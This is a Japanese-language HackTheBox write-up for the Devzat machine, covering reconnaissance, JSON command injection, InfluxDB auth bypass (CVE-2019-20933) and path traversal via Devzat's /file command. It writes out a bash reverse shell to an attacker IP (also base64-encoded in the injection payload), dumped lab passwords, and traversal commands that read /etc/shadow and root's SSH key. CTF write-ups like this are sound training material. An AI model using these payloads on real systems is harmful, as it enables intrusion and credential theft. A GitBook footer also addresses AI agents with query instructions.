> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Devzat HackTheBox攻略記事ディレクトリのファジング、Webインジェクション（RCE）、InfluxDBの悪用（CVE-2019-20933）、Devzat Chatの/fileコマンド悪用（権限昇格）を扱うDevzat HackTheBox Medium Linuxマシンの攻略記事。実践 {% embed url="" %} {% hint style="warning" %} **スキル:** * ディレクトリのファジング * Webインジェクション（RCE） * InfluxDBの悪用（CVE-2019-20933） * Devzat Chatの/fileコマンドの悪用（権限昇格） {% endhint %} ## 偵察： **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（22、80、8000）

Nmapによるポートバージョンスキャン： Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

### ポート80

を使用する `whatweb`、サイトに関連付けられたメールアドレスが見つかります： `patrick@devzat.htb`.

アプリケーションから、ポート8000を使用してSSH経由で「chat」に接続できることもわかります： ```bash ssh -l [username] devzat.htb -p 8000 ```

### ポート8000：接続を試みますが、SSHキーが必要なため問題が発生します： ```bash ssh -l jordan devzat.htb -p 8000 ```

**SSH-RSAの使用を一時的に強制する：** 以下のオプションで、このセッションで使用するSSHキーの種類を指定します： ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Devzatプロジェクト（SSHチャット）：** {% hint style="info" %} Devzatは、コマンドプロンプトではなくチャットに接続するカスタムSSHサーバーです。SSHアプリケーションは電話を含むすべてのプラットフォームで利用できるため、どのデバイスからでもDevzatに接続できます。 {% endhint %} このチャットで実行できるコマンドの一覧は次のとおりです：

### ファジング **ディレクトリ：** 次を使用します `gobuster` サイト上のディレクトリを一覧表示するには： ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 興味深い結果は見つかりませんでした。

### **サブドメインのファジング** 以下を使用してサブドメインを検索します `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` 以下を発見します `pets.devzat.htb` サブドメインを追加します `/etc/hosts` ファイルに存在するユーザーに対して試します。

## **脆弱性（RCE）JSON：**

種別とともに「pets」を追加でき、これによりJSONインジェクションが可能になります。

Burp Suiteでリクエストをインターセプトし、nameとspeciesを含むエントリを追加してリクエストの操作を試みます：

このエントリは解釈されるため、インジェクションが可能です。 ```json { "Name": "jordan", "Species": "jordan" } ```

通信を観察し、コマンドインジェクションをテストするためにICMPトラフィックをリッスンします： ```bash sudo tcpdump -i tun0 icmp ``` pingの応答を受信し、リモートコマンド実行の可能性を確認します。

次に、以下を含むリクエストを送信します `curl` をPythonサーバーに送信すると、リクエストも受信され、リモートコード実行の脆弱性が確認されます。 ```bash { "Name": "jordan", "Species": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"" } ```

### リバースシェルリバースシェルの作成を試みます： ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` しかし、出力エラーが発生します。

**エラーの解決策（リバースシェル）：** このエラーを解決するため、リバースシェルを含むHTMLファイルを作成し、base64でエンコードします： ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` このファイルをbase64に変換します： ```bash base64 -w 0 index.html ```

クエリ内で、エンコードされたbase64文字列をechoし、デコードしてからシェルを実行します： {% code overflow="wrap" %} ```bash { "Name": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} 再びポート443をリッスンすると、リバースシェルを取得できます。

#### **ターミナルの操作：** セッションを安定化させるため、次のコマンドを使用します： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 権限昇格より高い権限が必要であることがわかります。以下へのアクセスを得るにはピボットする必要があります `catherine` ユーザーアカウント。

#### 開放ポートの特定まず、以下のコマンドを使用して内部で開いているポートを確認します： ```bash netstat -nltp ``` 開いているポートは： * 8086 * 8443 * 5000

### ポートフォワーディング（SSH）ユーザーの秘密鍵を使用し、適切な権限を設定して、内部ポートを攻撃マシンに転送します： ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` 次に、以下を使用します `nmap` 転送されたポートをスキャンするには： ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### ポート5000：

このポートはポート8000で見つかったものと同じサービスに関連しており、追加の攻撃経路は得られないことがわかります。

### **ポート8086（InfluxDB）** ポート8086のサービスはInfluxDBバージョン1.7.5です。InfluxDBにNCE（リモートコード実行）の脆弱性を特定します：

**脆弱性：** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} この脆弱性により、以下のJWTトークンを使用して認証を回避できます `SharedSecret` が空である（別名共有シークレット）ため、データベースにアクセスできます。 {% endhint %}

#### データベースへのアクセス InfluxDBに接続したら、利用可能なデータベースを一覧表示します： ```sql SHOW DATABASES; ``` 以下を選択します `devzat` データベースを選択し、ユーザーデータを調査します。まず「measures」（テーブル）を一覧表示します： ```sql SHOW MEASUREMENTS; ``` その **`ユーザー`** テーブルには有用な情報が含まれています。このメジャーの列を調査するには、次を実行します： ```sql SHOW FIELD KEYS FROM "user"; ``` 次に、以下の最初の10件の結果を表示します `ユーザー` テーブル: ```sql SELECT * FROM "user" LIMIT 10; ```


パスワード	username
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

catherineユーザーのパスワードは **`woBeeYareedahc7Oogeephies7Aiseci`**であり、以下を取得できます **フラグ** ユーザー。 ### フラグ user.txt :) アクセスの取得に成功し、以下としてピボットします `catherine`.

### ポート8443（Devzat - 本番環境）ポート8443は、本番環境のDevzatインスタンス専用です。以下の `ファイル` パラメーターは、rootとしてシステム内のすべてのファイルを一覧表示します。ただし、この機能へのアクセスはパスワードで保護されています。

catherineのパスワードを使用しようとしますが、失敗します。次に、catherineがシステム上で読み取れるファイルを検索する必要があります。

### Catherineがアクセス可能なファイルの検索以下のコマンドを使用して、catherineが読み取り可能なすべてのファイルを検索します： ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` 2つの `.zip` バックアップファイルが見つかります： * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` 以下をダウンロードします `devzat-dev.zip` バックアップファイルをダウンロードし、その内容からパスワードをフィルタリングします。有用なパスワードが見つかります： **`CeilingCatStillAThingIn2021?`**.

次に、このパスワードを使用して以下にアクセスしようとします `/etc/shadow` ファイルを以下経由で `ファイル` パラメータ： ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` パスワードは正しいものの、 **パストラバーサル** が完全なアクセスを得るために必要です。以下のコマンドを使用してファイルシステムを移動します：

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` 以下を表示することに成功します `/etc/shadow` rootとしてのファイル。

### rootとしてのSSHアクセス最後に、追加のパストラバーサルを使用してrootのSSHキーにアクセスします： ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

SSHキーをダウンロードし、rootとして接続します。

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.